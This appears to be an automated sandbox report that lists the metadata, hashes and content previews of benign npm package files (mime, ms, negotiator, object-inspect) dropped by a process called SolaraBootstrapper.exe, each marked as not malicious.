SHA-512:	635CB1DD9B6EEF04AC7956F186097777936B49E13F902B65ABFBDA7918C16CFDDE9550C3A037435D3AD8FDA9423FC9B9ADD2CC4CADC27EF7FF5BED255A22F081
Malicious:	false
Preview:	/*. Usage: node test.js. */..var mime = require('../mime');.var assert = require('assert');.var path = require('path');..//.// Test mime lookups.//..assert.equal('text/plain', mime.lookup('text.txt')); // normal file.assert.equal('text/plain', mime.lookup('TEXT.TXT')); // uppercase.assert.equal('text/plain', mime.lookup('dir/text.txt')); // dir + file.assert.equal('text/plain', mime.lookup('.text.txt')); // hidden file.assert.equal('text/plain', mime.lookup('.txt')); // nameless.assert.equal('text/plain', mime.lookup('txt')); // extension-only.assert.equal('text/plain', mime.lookup('/txt')); // extension-less ().assert.equal('text/plain', mime.lookup('\\txt')); // Windows, extension-less.assert.equal('application/octet-stream', mime.lookup('text.nope')); // unrecognized.assert.equal('fallback', mime.lookup('text.fallback', 'fallback')); // alternate default..//.// Test extensions.//..assert.equal('txt', mime.extension(mime.types.text));.ass

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\types.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31555
Entropy (8bit):	4.70326884307998
Encrypted:	false
SSDEEP:	384:gCqLMYcyVwqbEqM+/vGmvLDMWTktVpnKEXrxoEYlzKO7ELn9c51Fq3zMISyHV6Dx:4EqZGpKEXrxoEY8O7J51Fq3XH+9
MD5:	4AC089E4F393ED139CB2EE55726C66A5
SHA1:	CACCD2726F4694FA5A276F34A28C29E8FB073EF5
SHA-256:	A5391E434B1D3D1AD0FFD2C7D2227B4DC3CEAC7FC263D2EC1B93C20B9DAA41F9
SHA-512:	3CCDA52104CA63EA2666D668F784B8F74E258896CD45F24D2F83BD0D3D09D938C2FFEC926B1B3FD0A8C455139629E69671129DE0D0072BEDB8D1B6B3B2260E22
Malicious:	false
Preview:	{"application/andrew-inset":["ez"],"application/applixware":["aw"],"application/atom+xml":["atom"],"application/atomcat+xml":["atomcat"],"application/atomsvc+xml":["atomsvc"],"application/bdoc":["bdoc"],"application/ccxml+xml":["ccxml"],"application/cdmi-capability":["cdmia"],"application/cdmi-container":["cdmic"],"application/cdmi-domain":["cdmid"],"application/cdmi-object":["cdmio"],"application/cdmi-queue":["cdmiq"],"application/cu-seeme":["cu"],"application/dash+xml":["mpd"],"application/davmount+xml":["davmount"],"application/docbook+xml":["dbk"],"application/dssc+der":["dssc"],"application/dssc+xml":["xdssc"],"application/ecmascript":["ecma"],"application/emma+xml":["emma"],"application/epub+zip":["epub"],"application/exi":["exi"],"application/font-tdpfr":["pfr"],"application/font-woff":[],"application/font-woff2":[],"application/geo+json":["geojson"],"application/gml+xml":["gml"],"application/gpx+xml":["gpx"],"application/gxf":["gxf"],"application/gzip":["gz"],"application/hyper

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ms\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2764
Entropy (8bit):	4.722254619992073
Encrypted:	false
SSDEEP:	48:1I4pOT+6FLQFChYQlCrFWn5q4W55i8vBeH321aEEg1JPzC3yheCLy0C+ywC8jyGc:iNy6FLQU2SChWn5q4W55F0XeaEru3ylW
MD5:	AE157C9A8E70902576C2D8A06DBCDE32
SHA1:	0D10EE921436FA5FF5988445CC67676219DFFFBE
SHA-256:	4BD92209CB9DACF3E3773E725ACB7AAEC43EA9E78540324E4D0F73E5CE9ADEF7
SHA-512:	4C2F31F1F2A297AB6C55A21D58A5C26CAD22C1ED1913E7A48605111D217257AE2D9F26EA889E8610E011BA9B9C487C91ECDB4CEA3437534FAF905E8FB89BA248
Malicious:	false
Preview:	/*. Helpers.. /..var s = 1000;.var m = s 60;.var h = m * 60;.var d = h * 24;.var y = d * 365.25;../*. Parse or format the given `val`.. . Options:. . - `long` verbose formatting [false]. . @param {String\|Number} val. * @param {Object} [options]. * @throws {Error} throw an error if val is not a non-empty string or a number. * @return {String\|Number}. * @api public. /..module.exports = function(val, options) {. options = options \|\| {};. var type = typeof val;. if (type === 'string' && val.length > 0) {. return parse(val);. } else if (type === 'number' && isNaN(val) === false) {. return options.long ? fmtLong(val) : fmtShort(val);. }. throw new Error(. 'val is not a non-empty string or a valid number. val=' +. JSON.stringify(val). );.};../. Parse the given `str` and return milliseconds.. . @param {String} str. * @return {Number}. * @api private. */..function parse(str) {. str = String(str);. if (str.length > 100) {. return;. }. var ma

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ms\license.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.1041829250749355
Encrypted:	false
SSDEEP:	24:buyDrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bBDaJHlxE3dQHOs5exm3ogFh
MD5:	FD56FD5F1860961DFA92D313167C37A6
SHA1:	884E84EBFDDAFD93B5BB814DF076D2EBD1757BA8
SHA-256:	6652830C2607C722B66F1B57DE15877AB8FC5DCA406CC5B335AFEB365D0F32C1
SHA-512:	2BEC1EFB4DC59FA436C38A1B45B3DBD54A368460BCBBB3D9791B65275B5DC3C71A4C54BE458F4C74761DCCB8897EFAAB46DF5A407723DA5C48F3DB02D555D5B9
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2016 Zeit, Inc...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR I

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ms\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	704
Entropy (8bit):	4.420367267663251
Encrypted:	false
SSDEEP:	12:7t134gRJxQwK/GCjxVMzaFT1oNkQc5s5RBR74J3YqeCVCSWN:513pRXQwUJFT1ou1s1R76YfCISWN
MD5:	CBD55880A650B56C3D5ACDDBBDBEE9BC
SHA1:	4D354DA7ECE1C7D5689B8104F3B6F3DCBAC7790E
SHA-256:	30FBFAA3840B2F63978AD4BCD7ED8DC24D277B818E4755FE93EDA8CB1BC8B74C
SHA-512:	E329A6F6A38DD33BD60334A8DEC4A91AA6E7DAB28F0893240374AE6A303C12646399D821403E3B80EB51317D1808E6ABF30BD91B0BD99951F96815A22BA105C7
Malicious:	false
Preview:	{. "name": "ms",. "version": "2.0.0",. "description": "Tiny milisecond conversion utility",. "repository": "zeit/ms",. "main": "./index",. "files": [. "index.js". ],. "scripts": {. "precommit": "lint-staged",. "lint": "eslint lib/* bin/",. "test": "mocha tests.js". },. "eslintConfig": {. "extends": "eslint:recommended",. "env": {. "node": true,. "es6": true. }. },. "lint-staged": {. ".js": [. "npm run lint",. "prettier --single-quote --write",. "git add". ]. },. "license": "MIT",. "devDependencies": {. "eslint": "3.19.0",. "expect.js": "0.3.1",. "husky": "0.13.3",. "lint-staged": "3.4.1",. "mocha": "3.4.1". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ms\readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	4.954772186039823
Encrypted:	false
SSDEEP:	24:I/nyO7YNfNSBe9CsGdPXkj0cC3aE1y9bM/kLZ2eyJVHBbGPIQV:wygufEBegDo0hcLIdpbGf
MD5:	90E631C6AFCCDE3ED414D3D230734864
SHA1:	E875D9FA741FE44893C778974860F362724E35EC
SHA-256:	C9AC67FF103C01871B0FF09E2F094631991908C1FD0DC08BDB53287E5A760AE5
SHA-512:	BC98602BB2B67AE4FEFAC895CEF22F3C25B2E765D9074121700DC523365FEB252BA813684275F74B7FFCA4A8CBF34B68384AAE1A84BB76D09E55413741172005
Malicious:	false
Preview:	# ms..[![Build Status](https://travis-ci.org/zeit/ms.svg?branch=master)](https://travis-ci.org/zeit/ms).[![Slack Channel](http://zeit-slackin.now.sh/badge.svg)](https://zeit.chat/)..Use this package to easily convert various time formats to milliseconds...## Examples..```js.ms('2 days') // 172800000.ms('1d') // 86400000.ms('10h') // 36000000.ms('2.5 hrs') // 9000000.ms('2h') // 7200000.ms('1m') // 60000.ms('5s') // 5000.ms('1y') // 31557600000.ms('100') // 100.```..### Convert from milliseconds..```js.ms(60000) // "1m".ms(2 * 60000) // "2m".ms(ms('10 hours')) // "10h".```..### Time format written-out..```js.ms(60000, { long: true }) // "1 minute".ms(2 * 60000, { long: true }) // "2 minutes".ms(ms('10 hours'), { long: true }) // "10 hours".```..## Features..- Works both in [node](https://nodejs.org) and in the browser..- If a number is supplied to `ms`, a string with a unit is returned..- If a string that co

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2499
Entropy (8bit):	4.724481905020091
Encrypted:	false
SSDEEP:	48:QgDLBhJIxPY/DeJ2/xA6rgYwN1RvZrQNLkrtC:RDJIxQbeJ7LN1JZrpZC
MD5:	DDC51C280EC46D9811670F9D184AF3E5
SHA1:	2FE55382F30DEC2AE79C116A280CB5DFA51B9772
SHA-256:	6B25039B6A40F7FCB7EB6DC891418D154C4B4154284F58C6BFFCB10AD7587A6D
SHA-512:	8C34483B20AFD92FC17C51A6DF6227E5DCA5B4D8EEED0989DD34371951CB87D323F7BCBF59B9CBC602AE521A8495C18553652189600E9735396A9AD62893D3D1
Malicious:	false
Preview:	0.6.3 / 2022-01-22.==================.. * Revert "Lazy-load modules from main entry point"..0.6.2 / 2019-04-29.==================.. * Fix sorting charset, encoding, and language with extra parameters..0.6.1 / 2016-05-02.==================.. * perf: improve `Accept` parsing speed. * perf: improve `Accept-Charset` parsing speed. * perf: improve `Accept-Encoding` parsing speed. * perf: improve `Accept-Language` parsing speed..0.6.0 / 2015-09-29.==================.. * Fix including type extensions in parameters in `Accept` parsing. * Fix parsing `Accept` parameters with quoted equals. * Fix parsing `Accept` parameters with quoted semicolons. * Lazy-load modules from main entry point. * perf: delay type concatenation until needed. * perf: enable strict mode. * perf: hoist regular expressions. * perf: remove closures getting spec properties. * perf: remove a closure from media type parsing. * perf: remove property delete from media type parsing..0.5.3 / 2015-05-10.===========

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	5.190424654953496
Encrypted:	false
SSDEEP:	24:5HsZxQiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:+xQiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	6417A862A5E35C17C904D9DDA2CBD499
SHA1:	73FEC64FD8A5CEDDBF65F705987A547C3678D981
SHA-256:	553D4D20029A24E315B428A1A54A9E109EAA340F2E958A4F50A92362C2C4070B
SHA-512:	715C695587A028733A092DB12C8CF2986AC745D2D2F958961DAA8F9B9457744BE63C9521C0D34B594BB4E0884A00C5E41E19BEB9666E426511863C2D8241C334
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2014 Federico Romero.Copyright (c) 2012-2014 Isaac Z. Schlueter.Copyright (c) 2014-2015 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGE

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4901
Entropy (8bit):	5.022969815301353
Encrypted:	false
SSDEEP:	96:1XCnQzGp9F0CMKE8111mCMTpLvdjhSdd/0K034UKx1oJoDZouADT1KOii:1y9pF111mtF9230IHSJAuX5rN
MD5:	25135D2847230D4854AC342D46AB9E62
SHA1:	64E77F542A43606888D9557240DCA30597DAE242
SHA-256:	B0350B39C18CF8F0D28F078913C91CCCFCBE3ECE1EC6C3CB8EB4C9FD64ADB160
SHA-512:	84DCA1F145B7C35A5C5E2607C97FBAB7B5F64C5C48095E57467FDBA7A503B2FEC30891521A3E85AE5B7EFFDCAFB5A992B856A93417B2F8F464C77EB585FA1759
Malicious:	false
Preview:	# negotiator..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..An HTTP content negotiator for Node.js..## Installation..```sh.$ npm install negotiator.```..## API..```js.var Negotiator = require('negotiator').```..### Accept Negotiation..```js.availableMediaTypes = ['text/html', 'text/plain', 'application/json']..// The negotiator constructor receives a request object.negotiator = new Negotiator(request)..// Let's say Accept header is 'text/html, application/;q=0.2, image/jpeg;q=0.8'..negotiator.mediaTypes().// -> ['text/html', 'image/jpeg', 'application/']..negotiator.mediaTypes(availableMediaTypes).// -> ['text/html', 'application/json']..negotiator.mediaType(availableMediaTypes).// -> 'text/html'.```..You can check a working example at `examples/accept.js`...#### Metho

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2451
Entropy (8bit):	4.818099111813789
Encrypted:	false
SSDEEP:	48:Uqxr13RsVlW7GA0GCGbhkX7diNde53AOaaHeF3fPgGdjR22Y8UflX48w:psTWmKkEVtIpa
MD5:	279D02856C1815CE3B6745EE234A91AE
SHA1:	D2DCE41C415F88B5BB49939290D542BEF8EC598D
SHA-256:	4F9279BCFFC74199C671739F2D0E91FE5176A7F7E4683CA59809A50463A842BD
SHA-512:	3751B886D3F78D0BE1E5010B6086B0DF1175F85D52A75A11E9F09232BC35EDDB8E92DEE4F219B705F98A23C05EAEBB79C414D4F57C9FC7EF1E3E831E41E1BCAF
Malicious:	false
Preview:	/!. negotiator. * Copyright(c) 2012 Federico Romero. * Copyright(c) 2012-2014 Isaac Z. Schlueter. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';..var preferredCharsets = require('./lib/charset').var preferredEncodings = require('./lib/encoding').var preferredLanguages = require('./lib/language').var preferredMediaTypes = require('./lib/mediaType')../. Module exports.. * @public. /..module.exports = Negotiator;.module.exports.Negotiator = Negotiator;../. Create a Negotiator instance from a request.. * @param {object} request. * @public. */..function Negotiator(request) {. if (!(this instanceof Negotiator)) {. return new Negotiator(request);. }.. this.request = request;.}..Negotiator.prototype.charset = function charset(available) {. var set = this.charsets(available);. return set && set[0];.};..Negotiator.prototype.charsets = function charsets(available) {. return preferredCharsets(this.request.headers['accept-charset'], available)

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\lib\charset.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3081
Entropy (8bit):	4.842295755350585
Encrypted:	false
SSDEEP:	96:JMZbj90LFCq7EfTb+X2d2/2O9T1d0/xKUNYbd3REslT:JMZmLcqAf+X2d2/9TzoxKCYTJ
MD5:	7977A65B1542FA8CE9650E58607F4B07
SHA1:	BF9F25A7BF6DC2176B70BC9DA04FC162BDFBF4C4
SHA-256:	E6522A2DF58F21A6CDF8D146F7E85B9A49BCAF68B813DEC15068A8E84FC582C3
SHA-512:	6C5B88F2F56099018F13E40F0C675352271E63E928B03CD25630BDA95059E5C289C78752947DC29E309E66264173D6CED7CC63FCBF0518E955BA12A2BABF5396
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredCharsets;.module.exports.preferredCharsets = preferredCharsets;../. Module variables.. * @private. /..var simpleCharsetRegExp = /^\s([^\s;]+)\s(?:;(.))?$/;../*. Parse the Accept-Charset header.. * @private. /..function parseAcceptCharset(accept) {. var accepts = accept.split(',');.. for (var i = 0, j = 0; i < accepts.length; i++) {. var charset = parseCharset(accepts[i].trim(), i);.. if (charset) {. accepts[j++] = charset;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a charset from the Accept-Charset header.. * @private. */..function parseCharset(str, i) {. var match = simpleCharsetRegExp.exec(str);. if (!match) return null;.. var charset = match[1];. var q = 1;. if (matc

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\lib\encoding.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3506
Entropy (8bit):	4.858041738762427
Encrypted:	false
SSDEEP:	96:Jz9lluqA5w1W3OFdaxv7VTbYxs2M2vKDgB1dd/xK3viNQAbd3RBslT:Jz9PuFw1cO2RBYxs2M3DgBzlxKfQ3aJ
MD5:	E03DD226452C58CE083AB4468851F0B1
SHA1:	6066E153BCAC0D060CD2E475DDAD0E239422AA0D
SHA-256:	35421DC78D3C1B608922427BBD6E524518168621FF1A44919FC591CA297E813C
SHA-512:	F1966A345F3380075325952275A6AC0668FEA52AE4CAAD431D8AB9068AFE1A3C17B62D2BE0DD9E19B48D843ECF3A58F94DBD52240A69234A2B232044468CD86F
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredEncodings;.module.exports.preferredEncodings = preferredEncodings;../. Module variables.. * @private. /..var simpleEncodingRegExp = /^\s([^\s;]+)\s(?:;(.))?$/;../*. Parse the Accept-Encoding header.. * @private. /..function parseAcceptEncoding(accept) {. var accepts = accept.split(',');. var hasIdentity = false;. var minQuality = 1;.. for (var i = 0, j = 0; i < accepts.length; i++) {. var encoding = parseEncoding(accepts[i].trim(), i);.. if (encoding) {. accepts[j++] = encoding;. hasIdentity = hasIdentity \|\| specify('identity', encoding);. minQuality = Math.min(minQuality, encoding.q \|\| 1);. }. }.. if (!hasIdentity) {. /. * If identity doesn't explicitly appear in the accept-encoding header,.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\lib\language.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3409
Entropy (8bit):	4.93193307417238
Encrypted:	false
SSDEEP:	96:JSD+3n3BTQbFSv72TbQOZS2cueSKyeT2vZ3Z1d2/xKaNrMbd3RgQslT:JSDQn9Qb+UQOZS2SSK5Tg3ZzaxKorMkt
MD5:	F10E434AE4EED2D3D46FF47582ED9938
SHA1:	248BAA661B5CD4A4368E1DE987A5A911636C41AB
SHA-256:	4AEBB44DA06094F2D56F0B20B4FBDD542CDA00A4C9295E10BBE55203701C9024
SHA-512:	D7BAC6E2CE28525D67E0B8EFF4E2FE1868D11EC69F98C310C1E6258504BCDEFCECACE967A7721FDEABD93AA18D0D40D1BFE54DCEDF0991ED12119AF8BDE74490
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredLanguages;.module.exports.preferredLanguages = preferredLanguages;../. Module variables.. * @private. /..var simpleLanguageRegExp = /^\s([^\s\-;]+)(?:-([^\s;]+))?\s(?:;(.))?$/;../*. Parse the Accept-Language header.. * @private. /..function parseAcceptLanguage(accept) {. var accepts = accept.split(',');.. for (var i = 0, j = 0; i < accepts.length; i++) {. var language = parseLanguage(accepts[i].trim(), i);.. if (language) {. accepts[j++] = language;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a language from the Accept-Language header.. * @private. */..function parseLanguage(str, i) {. var match = simpleLanguageRegExp.exec(str);. if (!match) return null;.. var prefix = mat

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\lib\mediaType.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5358
Entropy (8bit):	4.867691098214956
Encrypted:	false
SSDEEP:	96:JYFkWOwcE7FtJqyWGYYIb7wTblzuXrDciMaTmgI8CY1dzM/xKSNKbd3RFUslgXLl:JYFkW97RWtYIb+lzuXrDcfwmavzzgxKY
MD5:	0FDAA0ED7CAB2CE5FCBD7B361A85892C
SHA1:	9FE7D1F6570E870BF5A90ADA7BA1A7A53480F5CC
SHA-256:	0DAB239C924FA4D5F823548E25DC9F10315BF490B821827B640318B7AA200577
SHA-512:	44BFBECB293939BC5DF1B98C483FC01F36640DE15225D936B919F733A202CCDDA2F727F5543853DE6E541157BDDE8BF57F9CFC918E0EAD1B990569E1779A7BA7
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredMediaTypes;.module.exports.preferredMediaTypes = preferredMediaTypes;../. Module variables.. * @private. /..var simpleMediaTypeRegExp = /^\s([^\s\/;]+)\/([^;\s]+)\s(?:;(.))?$/;../*. Parse the Accept header.. * @private. /..function parseAccept(accept) {. var accepts = splitMediaTypes(accept);.. for (var i = 0, j = 0; i < accepts.length; i++) {. var mediaType = parseMediaType(accepts[i].trim(), i);.. if (mediaType) {. accepts[j++] = mediaType;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a media type from the Accept header.. * @private. */..function parseMediaType(str, i) {. var match = simpleMediaTypeRegExp.exec(str);. if (!match) return null;.. var params = Object.create(n

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\negotiator\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	993
Entropy (8bit):	4.782116934931483
Encrypted:	false
SSDEEP:	12:dc6V1CxR7CB6gi599qPdreLlc6Upu1ZHFPtYuNZWiTjkQfcGa3gPGWdVSYMiP095:dr1CxVW4y9I97YuNZWixTB0xLt
MD5:	5D2BC8AE77831203C6D0CE3A17E599CF
SHA1:	3C1B22E6ECAE04B514912326957E6A205B015098
SHA-256:	8672E91F7395CE51EC789D883D7F7D872A40847BB83A6A3F89C3D1DED39E55D9
SHA-512:	C22AD9D7E1C091B26CA5ABCB7F6E7338EB79BD36E1228DAD9EC6903C9922A2451F518C21507CC82DCCD69BE13132368DE7EFCAD1DE7BA56270C7997DECF3A1AA
Malicious:	false
Preview:	{. "name": "negotiator",. "description": "HTTP content negotiation",. "version": "0.6.3",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Federico Romero <federico.romero@outboxlabs.com>",. "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)". ],. "license": "MIT",. "keywords": [. "http",. "content negotiation",. "accept",. "accept-language",. "accept-encoding",. "accept-charset". ],. "repository": "jshttp/negotiator",. "devDependencies": {. "eslint": "7.32.0",. "eslint-plugin-markdown": "2.2.1",. "mocha": "9.1.3",. "nyc": "15.1.0". },. "files": [. "lib/",. "HISTORY.md",. "LICENSE",. "index.js",. "README.md". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	3.7619199630703575
Encrypted:	false
SSDEEP:	12:k4s2iAdJu/yWJLy0R6m0RvwiorEf+XnH1sffq3ZfZQVN8T+L6lhHpaK6v/ynfQ0A:k4sGJu/Rt6RvwHrXH+nOK8a6K0Qj
MD5:	513690D7F29CCE876C22A14C39D84B4F
SHA1:	B3EF00B90390F9190F17DFDCF53B3D5B49216626
SHA-256:	22417AF06C6566E098C56C7FB458AA716010DEDB878E2BF9C0B9F06BB40E6BC7
SHA-512:	81D27B89931E6EB94415AD4673372444490832076F90288BD9A51751595105040FAE9369BDA4C0E4DF8EC781DFDA223FB971A66497C9F1DFE9319A1B1E33C2D5
Malicious:	false
Preview:	{. "root": true,. "extends": "@ljharb",. "rules": {. "complexity": 0,. "func-style": [2, "declaration"],. "indent": [2, 4],. "max-lines": 1,. "max-lines-per-function": 1,. "max-params": [2, 4],. "max-statements": 0,. "max-statements-per-line": [2, { "max": 2 }],. "no-magic-numbers": 0,. "no-param-reassign": 1,. "strict": 0, // TODO. },. "overrides": [. {. "files": ["test/*", "test-", "example/"],. "extends": "@ljharb/eslint-config/tests",. "rules": {. "id-length": 0,. },. },. {. "files": ["example/"],. "rules": {. "no-console": 0,. },. },. {. "files": ["test/browser/*"],. "env": {. "browser": true,. },. },. {. "files": ["test/bigint"],. "rules": {. "new

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	585
Entropy (8bit):	4.701149886814445
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMMgflgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgnKlg7g1GegJ9gEz4D
MD5:	1080329B277136E270B1D9F46EC6198F
SHA1:	329714C4D2C4FB4F75A17708BDB8372FFB087402
SHA-256:	C5D7D674C3932A7E2962B172028B54A41540916A991CDD9EE0BF60F901EB00AE
SHA-512:	D8EF9F2F1137B7C981AF53322AF6A6F0B96B41E13C24754FC6A95A4141220FA9EC63F57960B99ED739BE009E83ADF9BB95EC4F569DFF11FB04CB5AAB528F17E3
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/object-inspect.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	236
Entropy (8bit):	4.3441025829035045
Encrypted:	false
SSDEEP:	6:dpmSh9OfyMLC15IW5IudRaB9ZGeiMeIrJdqG//uWgW7M0CsC:XmEO6KSIWyuTaB94vM5rJdqovd/y
MD5:	E3CA1E101DF537732DDFBABE9660F0CD
SHA1:	FC1951C10D45C316DA074AB5970E2FDE75664F41
SHA-256:	054EEDA03A706B8EB6821A2CC2D47080C7D6CB031C82252FF9A13460FEF3BB8E
SHA-512:	BB2D5EF5D4FCFA7BD10CB59039FE394C3990CEE57BD04BFFFA1C720AA8B5C9A1116412EC8112096C4201762F4B7FEF9BB4AD9574B4C5196EBAB94124DD474473
Malicious:	false
Preview:	{. "all": true,. "check-coverage": false,. "instrumentation": false,. "sourceMap": false,. "reporter": ["text-summary", "text", "html", "json"],. "exclude": [. "coverage",. "example",. "test",. "test-core-js.js". ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	33226
Entropy (8bit):	5.2642497944684115
Encrypted:	false
